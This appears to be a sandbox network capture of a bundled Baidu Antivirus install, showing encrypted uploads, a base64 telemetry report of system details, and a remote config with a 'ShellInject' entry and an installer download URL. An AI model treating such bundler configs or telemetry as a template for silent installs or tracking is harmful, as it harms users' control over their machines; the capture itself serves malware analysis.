......5.4.0.90620 .(S2 61807c4bafc26bb2ed98e3e60f587cd68.....@.....J.USx..Y..

W.S.....O.{8...9.V....
....].zaS.l?....FF=t..%c....50<..\cs.!4..;.%....~.."u...i........Y.&.
HTTP/1.1 200 OK

Content-Type: text/plain

Content-Length: 0

Connection: Keep-Alive

POST /md5_check.cgi HTTP/1.0

Content-Length: 124

HEAD-LENGTH: 72

Host: f.eg.bav.baidu.com

.....5.4.3.147185" 61807c4bafc26bb2ed98e3e60f587cd6(.....0..8.B.1.0.0.0....L.....\..$.2M.F ..I.Oy.. .g.... 
.B..q...!.5.U.f
HTTP/1.1 200 OK

HEAD-LENGTH: 6

Content-Length: 46

Connection: Close

......9.$.Y.4..c.$.Wu],q$3....x...o.sq.M.!..#...

POST /up.cgi HTTP/1.1

HEAD-LENGTH: 71

User-Agent: Mozilla/5.0

Host: up.eg.bav.baidu.com

Content-Length: 171

Connection: Keep-Alive

Cache-Control: no-cache

Pragma: no-cache

......5.4.0.90620 .(S2 61807c4bafc26bb2ed98e3e60f587cd68.....@.....J.USx..Y..

W.S.....O.{8...9.V....
....].zaS.l?....FF=t..%c....50<..\cs.!4..;.%....~.."u...i........Y.&.
HTTP/1.1 200 OK

Content-Type: text/plain

Content-Length: 0

Connection: Keep-Alive

POST /up.cgi HTTP/1.1

HEAD-LENGTH: 71

User-Agent: Mozilla/5.0

Host: up.eg.bav.baidu.com

Content-Length: 188

Connection: Keep-Alive

Cache-Control: no-cache

Pragma: no-cache

......5.4.0.90620 .(S2 61807c4bafc26bb2ed98e3e60f587cd68.....@.....J.USx..j..

h.S.....`.n[......R  .a..^.m....>...O..m.....'.W....}.,.w[...g......3..T.S.BM1........2;B.....b....#...QU..5.
HTTP/1.1 200 OK

Content-Type: text/plain

Content-Length: 0

Connection: Keep-Alive

POST /cgi-bin/report_uu_msg_bavv2.cgi HTTP/1.1

Accept: */*

Cache-Control: no-cache

Content-Type: application/x-www-form-urlencoded

User-Agent: 5.4.3.147185

Host: sync.eg.bav.baidu.com

Content-Length: 1377

Connection: Keep-Alive

Pragma: no-cache

...\WwAyADAAMQA1AC0AMQAxAC0AMgA0ACAAMAA5ADoAMAA0ADoAMQAzAF0AIABpAGQAPQA2ADEAOAAwADcAYwA0AGIAYQBmAGMAMgA2AGIAYgAyAGUAZAA5ADgAZQAzAGUANgAwAGYANQA4ADcAYwBkADYAfAB8AHwAbwBsAGQAXwBpAGQAPQAwADAAMAAwADAAMAAwADAALQAwADAAMABDADIAOQAwADIAQwBEAEYAQgAhADgAMAAzADYAMgA5ADkANwAtAGIANgAzADYALQA0ADkAMgBkAC0AOAA0ADAAYgAtAGQANgBkADgAYQA4ADAAZgAwADEAYgA2AEAAIwAwADAAMABDADIAOQAwADIAQwBEAEYAQgB8AHwAfAB2AGUAcgA9ADUALgA0AC4AMwAuADEANAA3ADEAOAA1AHwAfAB8AG8AcwA9AHcAaQBuACAANQAuADEALgAyADYAMAAwAHwAfAB8AHAAYQByAHQAbgBlAHIAXwBpAGQAPQBJAG0AYQBsAGkAfABiAHIAfABJAEIARAB8AEIAdQBuAGQAbABlAHwAfAB8AGEAcgBjAGgAaQB0AGUAYwB0AHUAcgBlAD0AeAA4ADYAfAB8AHwAbgB1AG0AYgBlAHIAbwBmAHAAcgBvAGMAZQBzAHMAbwByAHMAPQAxAHwAfAB8AHAAcgBvAGMAZQBzAHMAbwByAG4AYQBtAGUAcwB0AHIAaQBuAGcAPQBJAG4AdABlAGwAKABSACkAIABDAG8AcgBlACgAVABNACkAIABpADcALQA0ADcANwAwACAAQwBQAFUAIABAACAAMwAuADQAMABHAEgAegB8AHwAfABkAGUAZgBfAGIAcgBvAHcAcwBlAHIAPQBpAGUAeABwAGwAbwByAGUALgBlAHgAZQB8AHwAfAB1AHMAZQByAF8AdAB5AHAAZQA9ADEAfAB8AHwAcwBlAHIAdgBpAGMAZQBfAHMAdABhAHQAdQBzAD0ANAB8AHwAfAByAGEAbQA9ADUAMQAxAHwAfAB8AGwAYQBuAGcAdQBhAGcAZQA9ADEAMAAzADMAfAB8AHwAbABhAG4AZwBpAGQAPQAxADAAMwAzAHwAfAB8AHIAZQBwAG8AcgB0AF8AZgByAG8AbQA9AEIAYQB2AFMAdgBjAC4AZQB4AGUAfAB8AHwAUAAwAD0AMAB8AHwAfABQADEAPQAwAHwAfAB8AGYAcgA9AEcAbABRAFMANwAxAEEANQBSAC8AUgA5ADMAUgBkAFQATgBRAHAAZAAr
HTTP/1.1 200 OK

Content-Length: 7

Content-Type: text/html;charset=utf-8

Connection: Keep-Alive

successHTTP/1.1 200 OK..Content-Length: 7..Content-Type: text/html;cha
rset=utf-8..Connection: Keep-Alive..success....

POST /cgi-bin-py/statistic_msg.cgi?type=BavStrLog&guid=61807c4bafc26bb2ed98e3e60f587cd6&ver=5.4.3.147185 HTTP/1.1

Accept: */*

Cache-Control: no-cache

Content-Type: application/x-www-form-urlencoded

User-Agent: 5.4.3.147185

Host: sync.eg.bav.baidu.com

Content-Length: 39

Connection: Keep-Alive

Pragma: no-cache

CALLBACK|BE:1|AF:1|Imali|br|IBD|Bundle.
HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:04:15 GMT

Server: Apache

Content-Length: 28

Connection: Keep-Alive

Content-Type: application/octet-stream

upload statistic succuessful....

POST /cgi-bin-py/statistic_msg.cgi?type=BavStrLog&guid=61807c4bafc26bb2ed98e3e60f587cd6&ver=5.4.3.147185 HTTP/1.1

Accept: */*

Cache-Control: no-cache

Content-Type: application/x-www-form-urlencoded

User-Agent: 5.4.3.147185

Host: sync.eg.bav.baidu.com

Content-Length: 32

Connection: Keep-Alive

Pragma: no-cache

AV|Baidu Antivirus|5.4.3.147185.
HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:04:15 GMT

Server: Apache

Content-Length: 28

Connection: Keep-Alive

Content-Type: application/octet-stream

upload statistic succuessfulHTTP/1.1 200 OK..Date: Tue, 24 Nov 2015 07
:04:15 GMT..Server: Apache..Content-Length: 28..Connection: Keep-Alive
..Content-Type: application/octet-stream..upload statistic succuessful
..

GET /cloud-hips-down.cgi/static/mn.dat HTTP/1.0

Connection: Keep-Alive

Host: f.eg.bav.baidu.com

Range: bytes=0-8914


HTTP/1.1 206 Partial Content

Server: nginx

Date: Tue, 24 Nov 2015 07:04:09 GMT

Content-Type: application/octet-stream

Content-Length: 8915

Last-Modified: Thu, 21 May 2015 06:06:01 GMT

Connection: Close

ETag: "555d75c9-22d3"

Content-Disposition: : /home/work/nginx/htdocs/cloud-hips-down.cgi/static/mn.dat

Content-Range: bytes 0-8914/8915
J.;..0.&.*.L.n@So{F:..g^d.?.~.........G..2..=..M\......Z| H...:.....h.
.GQ..'.I....OG;...KN.^k....h........v>.oDh...w.sW-Fx.&G.|~MZF..8.n.
.....S. o...Z.}}...!.1...6.B.b.qr......B.....E.....F..Sm...S..66H....3
.o.x!V..hN.....i1.f.cRY.`qd.u...e..i#e..`mr....rM............Hz..i.f7.
4.H|.u..h.m......3..M....;..5.&..Yh.ca..Y5.n.6G...O.p...s....!....n.p.
...h."...bAf...3.....c..s.}.)...v2.0I...,lN..[.zN@.U.y.x..0.\......i..
b.Db~.4..e..j.....R.)...aWl./3.9.~..!.1....mh<..rr....^-.V ..[BBM..
...aF... hjRh>...Am...v.=...=L....n.&A..CX.....Y.)U......E...6.....
.m..S...)s7tI...H.....c....n....R.9._......it.....Is{........He... C.C
..n..~...V;%Oq....Y."h..;.M{..aH..uyVc....._..0?m........*..01;...JB.'
.P........w..|....4..F..y.]r.||..u...VB.d"s.C...*..Q37... .2....]..`..
.H........J.'..9^..q..M............,.....)s..Git.. .AB......k....O...i
..%..M.N...\.A...%5..T... ..D,...'qJ[.ud....*8..qYZ..$Z.F.....=....b..
......`.>.a{..>..>-E,.dn'FD...s..kB...zK....4...t.kM.B.ZG..^s
.x..5.p..Y..(. .....O..u....._..;..\.F..t...7..3..B,..w.8...yx....(...
'1,.X.1.@.X.....-.p........p...^.BW....FT..#..i.\.~(.....M..a..w....8.
....2..w.g. ......Jw.._F...!........ .3&..7....2Jf.FVZ9W..9.M.....$%..
..O........5...e..C(.6W..xO..)..e...1.U'MHl.q.........i...yS..,..I....
....E, .....:K.j5..-...~...#......4...g...|......}PuA...}x..&m.4n-I...
.5.......a.S.c..#/]..9.R\ g...M.X:.6.m#..$[..N....|r$PWo ........b..K.
.sX..J|.s.S'.....}h....Bu......&......ZB..|V......\l...%...0h.j/t.....
.e.i.....T...X.y.l....R.3.f....".?0SQ.Nq...........3.&0..\..i...".<<< skipped >>>

POST /up.cgi HTTP/1.1

Accept: */*

HEAD-LENGTH: 77

Content-Length: 670

Host: up.eg.bav.baidu.com

Connection: Keep-Alive

.....5.4.3.147185 .(B2 61807c4bafc26bb2ed98e3e60f587cd6Z.Imali|br|IBD|Bundlex..F..

.........nL....U....Nl<.^[LO....E...4.C.z..\6......o.....%...3.......f..&.q...G.

.[J.Y.p.d..6.}..q.:...@.8..F....p.:.:QY....N.T:.|7.....$j.x\"c[#.R...K(P...fP.-.f\A_.1a|x...N.r.o.T1........n....[@*|~.lq.{~..B5..Ax..qt.hx....X........O.uT......L.K....@n...V.<.h.A.6.J|H Tpx>|.e...~z.r|....../m.....c...\......%.a.3....U.r.u.G...@..

N.. t ....b>6%.J..d.Q."w.........C.\.t.i C...._D".....'....n...}{....X.Xg......y...Q.......X&y.^....$76..[D..k.....G..S|..)]u.k..q.k..B]....rs..Jm.g.
.*..n..P.1....8.....p).*.l....d..?p...e_u..=.@.../x$...*.".....v....V..=U......~...k.[.N.!~D..[..1.&J
HTTP/1.1 200 OK

Content-Type: text/plain

Content-Length: 0

Connection: Keep-Alive

POST /md5_check.cgi HTTP/1.0

Content-Length: 120

HEAD-LENGTH: 72

Host: f.eg.bav.baidu.com

.....5.4.3.147185" 61807c4bafc26bb2ed98e3e60f587cd6(.....0..8.B.1.0.0.0x......._.

...................5..!.x.. h".E....
HTTP/1.1 200 OK

HEAD-LENGTH: 6

Content-Length: 46

Connection: Close

........."........8..k.V.@...|..b...........HW..

POST /queryfeature.do HTTP/1.0

Content-Length: 126

Host: f.eg.bav.baidu.com

e=

.4.|d.^

.a0....m6.l.T.4...l5&?C.DH

=0.._.C...8.....t.D....
.)B..#4....z.).B. ~..v.G...p\.......X"x....

.|..'......!d.R.
HTTP/1.0 200 OK

Content-Length: 30

Connection: Close
e=0.J.N..w.h}...l..U......~.SC..

POST /sample_check.cgi HTTP/1.0

Content-Length: 144

HEAD-LENGTH: 72

Host: f.eg.bav.baidu.com

.....5.4.3.147185" 61807c4bafc26bb2ed98e3e60f587cd6(.....0..8.B.1.0.0.0r0.t_..<.4e.........pWj.....E.Qar!Q......e..fS.."...q=:..:.*;.._j..;....
HTTP/1.1 200 OK

HEAD-LENGTH: 6

Content-Length: 44

Connection: Close
......Q..8.......$le...:..5.R...}./z:....9N=..

POST /queryfeature.do HTTP/1.0

Content-Length: 129

Host: f.eg.bav.baidu.com

e=

c...8fT...nb.:..)5...2e-m...o{.p`..}.Y...#..>...........btG..c9y...m...$...../A...z

#Q..Tz~m......J....C.......z..M.Hs,I.lY.
HTTP/1.0 200 OK

Content-Length: 30

Connection: Close
e=0.J.N..w.,,~..?.P....../~.SC..

POST /queryfeature.do HTTP/1.0

Content-Length: 127

Host: f.eg.bav.baidu.com

e=

...`.-..?~|.k.../..
P.^`.u-V2."...y.V3.G.|f....B..d.R.x....lUBS......J.T/4]....9.h..)V....k...7s..l.b.....2.&.7.....Z..s...
HTTP/1.0 200 OK

Content-Length: 30

Connection: Close

e=1..4..........*..n...q.r...j..

GET /cgi/dump/Filter.xml HTTP/1.0

User-Agent: HTTP Downloader

Host: VVV.pcfaster.com

Pragma: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:04:07 GMT

Server: Apache

Last-Modified: Wed, 08 Apr 2015 02:04:41 GMT

Accept-Ranges: bytes

Content-Length: 821

Vary: Accept-Encoding

Connection: Close

Content-Type: application/xml
<?xml version="1.0" encoding="UTF-8"?>..<FilterDll XmlVersion
="1.0">...<LSP>... <module name="net_monitor2.0.2.9.dll" c
ompany="Thunder Networking Technologies,LTD" />... <module name=
"idmmbc.dll" company="Tonec Inc." />... <module name="ytalsp.dll
" company="GOOBZO" />. ... <module name="sblsp.dll" company="SPE
EDbit" version="anyversion"/>. ... <module name="lavasofttcpserv
ice.dll" company="lavasoft limited" version="anyversion"/>. ... <
;module name="pctlsp.dll" company="PC Tools Research Pty Ltd." version
="anyversion"/>. ...</LSP>......<ShellInject>... <mo
dule name="Test1234x.dll" company="Test1234x" />...</ShellInject
>......<ShellConfig>...<info bInstallBav="FALSE" DownLoadB
avURL="hXXp://dl2.bav.baidu.com/BavPro_Setup_GL.exe" TimeValue="864000
" Language="1234 5678 2052 " />...</ShellConfig>.....</Fil
terDll>.....

GET /skin5_0_stars.png HTTP/1.1

Accept: */*

Cache-Control: no-cache

User-Agent: BaiduIS/1.0

Host: dl2.bav.baidu.com

Connection: Keep-Alive

Pragma: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:04:09 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1430492921"

Last-Modified: Fri, 01 May 2015 15:08:41 GMT

Cache-Control: max-age=80872

Content-Length: 40843

Content-Type: image/png

X-HW: 1448348649.dop016.fr7.t,1448348649.cds048.fr7.c
.PNG........IHDR.......K.......~.....pHYs...............9.iTXtXML:com.
adobe.xmp.....<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?&
gt;.<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5
-c014 79.151481, 2013/03/13-12:09:15        ">.   <rdf:RDF xmlns
:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">.      <rdf:D
escription rdf:about="".            xmlns:xmpMM="hXXp://ns.adobe.com/x
ap/1.0/mm/".            xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType
/ResourceRef#".            xmlns:stEvt="hXXp://ns.adobe.com/xap/1.0/sT
ype/ResourceEvent#".            xmlns:xmp="hXXp://ns.adobe.com/xap/1.0
/".            xmlns:dc="hXXp://purl.org/dc/elements/1.1/".           
 xmlns:photoshop="hXXp://ns.adobe.com/photoshop/1.0/".            xmln
s:tiff="hXXp://ns.adobe.com/tiff/1.0/".            xmlns:exif="hXXp://
ns.adobe.com/exif/1.0/">.         <xmpMM:OriginalDocumentID>x
mp.did:ea187672-0028-4ed5-ad20-76444949b012</xmpMM:OriginalDocument
ID>.         <xmpMM:DocumentID>xmp.did:AA1B242C1ED011E49725FF
0EDC37E28C</xmpMM:DocumentID>.         <xmpMM:InstanceID>x
mp.iid:f38c688a-0edf-493e-8966-78775f89ee43</xmpMM:InstanceID>. 
        <xmpMM:DerivedFrom rdf:parseType="Resource">.           
 <stRef:instanceID>xmp.iid:654d5149-96d3-476c-b21c-52cdf0a9d507&
lt;/stRef:instanceID>.            <stRef:documentID>xmp.did:e
a187672-0028-4ed5-ad20-76444949b012</stRef:documentID>.         
</xmpMM:DerivedFrom>.         <xmpMM:History>.        <<< skipped >>>

GET /skin5_0_halloween.png HTTP/1.1

Accept: */*

Cache-Control: no-cache

User-Agent: BaiduIS/1.0

Host: dl2.bav.baidu.com

Connection: Keep-Alive

Pragma: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:04:08 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1430492851"

Last-Modified: Fri, 01 May 2015 15:07:31 GMT

Cache-Control: max-age=80702

Content-Length: 35923

Content-Type: image/png

X-HW: 1448348649.dop016.fr7.t,1448348648.cds058.fr7.c
.PNG........IHDR.......K.......~.....pHYs...............9.iTXtXML:com.
adobe.xmp.....<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?&
gt;.<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5
-c014 79.151481, 2013/03/13-12:09:15        ">.   <rdf:RDF xmlns
:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">.      <rdf:D
escription rdf:about="".            xmlns:xmpMM="hXXp://ns.adobe.com/x
ap/1.0/mm/".            xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType
/ResourceRef#".            xmlns:stEvt="hXXp://ns.adobe.com/xap/1.0/sT
ype/ResourceEvent#".            xmlns:xmp="hXXp://ns.adobe.com/xap/1.0
/".            xmlns:dc="hXXp://purl.org/dc/elements/1.1/".           
 xmlns:photoshop="hXXp://ns.adobe.com/photoshop/1.0/".            xmln
s:tiff="hXXp://ns.adobe.com/tiff/1.0/".            xmlns:exif="hXXp://
ns.adobe.com/exif/1.0/">.         <xmpMM:OriginalDocumentID>x
mp.did:ea187672-0028-4ed5-ad20-76444949b012</xmpMM:OriginalDocument
ID>.         <xmpMM:DocumentID>xmp.did:9C61A10D515411E4AC78EE
C50525D7DA</xmpMM:DocumentID>.         <xmpMM:InstanceID>x
mp.iid:7ad08071-220a-4a1e-83a7-f5eb3dedeef4</xmpMM:InstanceID>. 
        <xmpMM:DerivedFrom rdf:parseType="Resource">.           
 <stRef:instanceID>xmp.iid:ab91f353-a948-4d58-acb0-d4d51e1d60ce&
lt;/stRef:instanceID>.            <stRef:documentID>xmp.did:e
a187672-0028-4ed5-ad20-76444949b012</stRef:documentID>.         
</xmpMM:DerivedFrom>.         <xmpMM:History>.        <<< skipped >>>

GET /skin5_0_wheatfield.png HTTP/1.1

Accept: */*

Cache-Control: no-cache

User-Agent: BaiduIS/1.0

Host: dl2.bav.baidu.com

Connection: Keep-Alive

Pragma: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:04:08 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1430492922"

Last-Modified: Fri, 01 May 2015 15:08:42 GMT

Cache-Control: max-age=42548

Content-Length: 23791

Content-Type: image/png

X-HW: 1448348649.dop016.fr7.t,1448348648.cds027.fr7.c
.PNG........IHDR.......K........D....tEXtSoftware.Adobe ImageReadyq.e&
lt;...siTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap
/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#"
 xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xm
p.did:ea187672-0028-4ed5-ad20-76444949b012" xmpMM:DocumentID="xmp.did:
ADE502FE1ED011E49725FF0EDC37E28C" xmpMM:InstanceID="xmp.iid:ADBDEEF81E
D011E49725FF0EDC37E28C" xmp:CreatorTool="Adobe Photoshop CC (Macintosh
)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:654d5149-96d3-4
76c-b21c-52cdf0a9d507" stRef:documentID="xmp.did:ea187672-0028-4ed5-ad
20-76444949b012"/> </rdf:Description> </rdf:RDF> </x
:xmpmeta> <?xpacket end="r"?>w.....Y.IDATx.d.i.e.u%v.;.7...1d
F...U,.S..(.!..Z.[..a..._......W.3`.....6..h.VS#)q&.d..!.!.7...s..>
.e.............^k.}n....~.1.9k...&8....a...F_8~c..V.............7.n.9G
8....t.....&.1q<..qq.:b#.wq0....~.....^>y......-..4R:t....;|}.3b
Z.u.xc_t8].N'%.....9...a.i...}../.............t...K{.......t(..T.T....
...lSm..U*/..A...M{).6.....k]WJ.t|.k.....=..,.c.Ic.R.p}5....^.....c5.S
...j.I..]......opN.......n..])...R....F....9-....q..[..m.4..E..rZ.U.].
.y^.U..R2'..\)=I...|.....=.s...9...<...\h..xGc../.^...r...&.! Z<<< skipped >>>

GET /skin5_0_speed.png HTTP/1.1

Accept: */*

Cache-Control: no-cache

User-Agent: BaiduIS/1.0

Host: dl2.bav.baidu.com

Connection: Keep-Alive

Pragma: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:04:09 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1430493172"

Last-Modified: Fri, 01 May 2015 15:12:52 GMT

Cache-Control: max-age=21205

Content-Length: 38974

Content-Type: image/png

X-HW: 1448348649.dop016.fr7.t,1448348649.cds024.fr7.c
.PNG........IHDR.......K.......~.....pHYs...............9.iTXtXML:com.
adobe.xmp.....<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?&
gt;.<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5
-c014 79.151481, 2013/03/13-12:09:15        ">.   <rdf:RDF xmlns
:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">.      <rdf:D
escription rdf:about="".            xmlns:xmpMM="hXXp://ns.adobe.com/x
ap/1.0/mm/".            xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType
/ResourceRef#".            xmlns:stEvt="hXXp://ns.adobe.com/xap/1.0/sT
ype/ResourceEvent#".            xmlns:xmp="hXXp://ns.adobe.com/xap/1.0
/".            xmlns:dc="hXXp://purl.org/dc/elements/1.1/".           
 xmlns:photoshop="hXXp://ns.adobe.com/photoshop/1.0/".            xmln
s:tiff="hXXp://ns.adobe.com/tiff/1.0/".            xmlns:exif="hXXp://
ns.adobe.com/exif/1.0/">.         <xmpMM:OriginalDocumentID>x
mp.did:ea187672-0028-4ed5-ad20-76444949b012</xmpMM:OriginalDocument
ID>.         <xmpMM:DocumentID>xmp.did:B05AA0E71ED011E49725FF
0EDC37E28C</xmpMM:DocumentID>.         <xmpMM:InstanceID>x
mp.iid:e781b82c-b99f-4fe3-b1c9-aa4b6a99b193</xmpMM:InstanceID>. 
        <xmpMM:DerivedFrom rdf:parseType="Resource">.           
 <stRef:instanceID>xmp.iid:654d5149-96d3-476c-b21c-52cdf0a9d507&
lt;/stRef:instanceID>.            <stRef:documentID>xmp.did:e
a187672-0028-4ed5-ad20-76444949b012</stRef:documentID>.         
</xmpMM:DerivedFrom>.         <xmpMM:History>.        <<< skipped >>>

GET /skin5_0_planet.png HTTP/1.1

Accept: */*

Cache-Control: no-cache

User-Agent: BaiduIS/1.0

Host: dl2.bav.baidu.com

Connection: Keep-Alive

Pragma: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:04:09 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1430493276"

Last-Modified: Fri, 01 May 2015 15:14:36 GMT

Cache-Control: max-age=80843

Content-Length: 33780

Content-Type: image/png

X-HW: 1448348649.dop016.fr7.t,1448348649.cds046.fr7.c
.PNG........IHDR.......K.......~.....pHYs...............9.iTXtXML:com.
adobe.xmp.....<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?&
gt;.<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5
-c014 79.151481, 2013/03/13-12:09:15        ">.   <rdf:RDF xmlns
:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">.      <rdf:D
escription rdf:about="".            xmlns:xmpMM="hXXp://ns.adobe.com/x
ap/1.0/mm/".            xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType
/ResourceRef#".            xmlns:stEvt="hXXp://ns.adobe.com/xap/1.0/sT
ype/ResourceEvent#".            xmlns:xmp="hXXp://ns.adobe.com/xap/1.0
/".            xmlns:dc="hXXp://purl.org/dc/elements/1.1/".           
 xmlns:photoshop="hXXp://ns.adobe.com/photoshop/1.0/".            xmln
s:tiff="hXXp://ns.adobe.com/tiff/1.0/".            xmlns:exif="hXXp://
ns.adobe.com/exif/1.0/">.         <xmpMM:OriginalDocumentID>x
mp.did:ea187672-0028-4ed5-ad20-76444949b012</xmpMM:OriginalDocument
ID>.         <xmpMM:DocumentID>xmp.did:B2CB259D1ED011E49725FF
0EDC37E28C</xmpMM:DocumentID>.         <xmpMM:InstanceID>x
mp.iid:7fb42518-9a06-4f95-aebe-794ed3c0e002</xmpMM:InstanceID>. 
        <xmpMM:DerivedFrom rdf:parseType="Resource">.           
 <stRef:instanceID>xmp.iid:654d5149-96d3-476c-b21c-52cdf0a9d507&
lt;/stRef:instanceID>.            <stRef:documentID>xmp.did:e
a187672-0028-4ed5-ad20-76444949b012</stRef:documentID>.         
</xmpMM:DerivedFrom>.         <xmpMM:History>.        <<< skipped >>>

GET /skin5_0_war.png HTTP/1.1

Accept: */*

Cache-Control: no-cache

User-Agent: BaiduIS/1.0

Host: dl2.bav.baidu.com

Connection: Keep-Alive

Pragma: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:04:09 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1430493153"

Last-Modified: Fri, 01 May 2015 15:12:33 GMT

Cache-Control: max-age=98

Content-Length: 34439

Content-Type: image/png

X-HW: 1448348649.dop016.fr7.t,1448348649.cds057.fr7.c
.PNG........IHDR.......K.......~.....pHYs...............9.iTXtXML:com.
adobe.xmp.....<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?&
gt;.<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5
-c014 79.151481, 2013/03/13-12:09:15        ">.   <rdf:RDF xmlns
:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">.      <rdf:D
escription rdf:about="".            xmlns:xmpMM="hXXp://ns.adobe.com/x
ap/1.0/mm/".            xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType
/ResourceRef#".            xmlns:stEvt="hXXp://ns.adobe.com/xap/1.0/sT
ype/ResourceEvent#".            xmlns:xmp="hXXp://ns.adobe.com/xap/1.0
/".            xmlns:dc="hXXp://purl.org/dc/elements/1.1/".           
 xmlns:photoshop="hXXp://ns.adobe.com/photoshop/1.0/".            xmln
s:tiff="hXXp://ns.adobe.com/tiff/1.0/".            xmlns:exif="hXXp://
ns.adobe.com/exif/1.0/">.         <xmpMM:OriginalDocumentID>x
mp.did:ea187672-0028-4ed5-ad20-76444949b012</xmpMM:OriginalDocument
ID>.         <xmpMM:DocumentID>xmp.did:AC1937581ED011E49725FF
0EDC37E28C</xmpMM:DocumentID>.         <xmpMM:InstanceID>x
mp.iid:4749c8ed-40cc-42b9-94d0-1f016a295c98</xmpMM:InstanceID>. 
        <xmpMM:DerivedFrom rdf:parseType="Resource">.           
 <stRef:instanceID>xmp.iid:654d5149-96d3-476c-b21c-52cdf0a9d507&
lt;/stRef:instanceID>.            <stRef:documentID>xmp.did:e
a187672-0028-4ed5-ad20-76444949b012</stRef:documentID>.         
</xmpMM:DerivedFrom>.         <xmpMM:History>.        <<< skipped >>>

GET /skin5_0_dream.png HTTP/1.1

Accept: */*

Cache-Control: no-cache

User-Agent: BaiduIS/1.0

Host: dl2.bav.baidu.com

Connection: Keep-Alive

Pragma: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:04:09 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1430493592"

Last-Modified: Fri, 01 May 2015 15:19:52 GMT

Cache-Control: max-age=83200

Content-Length: 22452

Content-Type: image/png

X-HW: 1448348649.dop016.fr7.t,1448348649.cds041.fr7.c
.PNG........IHDR.......K.......~.....pHYs...............9.iTXtXML:com.
adobe.xmp.....<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?&
gt;.<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5
-c014 79.151481, 2013/03/13-12:09:15        ">.   <rdf:RDF xmlns
:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">.      <rdf:D
escription rdf:about="".            xmlns:xmpMM="hXXp://ns.adobe.com/x
ap/1.0/mm/".            xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType
/ResourceRef#".            xmlns:stEvt="hXXp://ns.adobe.com/xap/1.0/sT
ype/ResourceEvent#".            xmlns:xmp="hXXp://ns.adobe.com/xap/1.0
/".            xmlns:dc="hXXp://purl.org/dc/elements/1.1/".           
 xmlns:photoshop="hXXp://ns.adobe.com/photoshop/1.0/".            xmln
s:tiff="hXXp://ns.adobe.com/tiff/1.0/".            xmlns:exif="hXXp://
ns.adobe.com/exif/1.0/">.         <xmpMM:OriginalDocumentID>x
mp.did:ea187672-0028-4ed5-ad20-76444949b012</xmpMM:OriginalDocument
ID>.         <xmpMM:DocumentID>xmp.did:762D04D9002A11E4B3B28D
B901844FEC</xmpMM:DocumentID>.         <xmpMM:InstanceID>x
mp.iid:37c22f7a-6fea-453c-a2ed-1785403afa2a</xmpMM:InstanceID>. 
        <xmpMM:DerivedFrom rdf:parseType="Resource">.           
 <stRef:instanceID>xmp.iid:7dfa4207-ad2c-46a2-b3a3-938acef4e2dd&
lt;/stRef:instanceID>.            <stRef:documentID>xmp.did:e
a187672-0028-4ed5-ad20-76444949b012</stRef:documentID>.         
</xmpMM:DerivedFrom>.         <xmpMM:History>.        <<< skipped >>>

GET /skin5_0_green.png HTTP/1.1

Accept: */*

Cache-Control: no-cache

User-Agent: BaiduIS/1.0

Host: dl2.bav.baidu.com

Connection: Keep-Alive

Pragma: no-cache


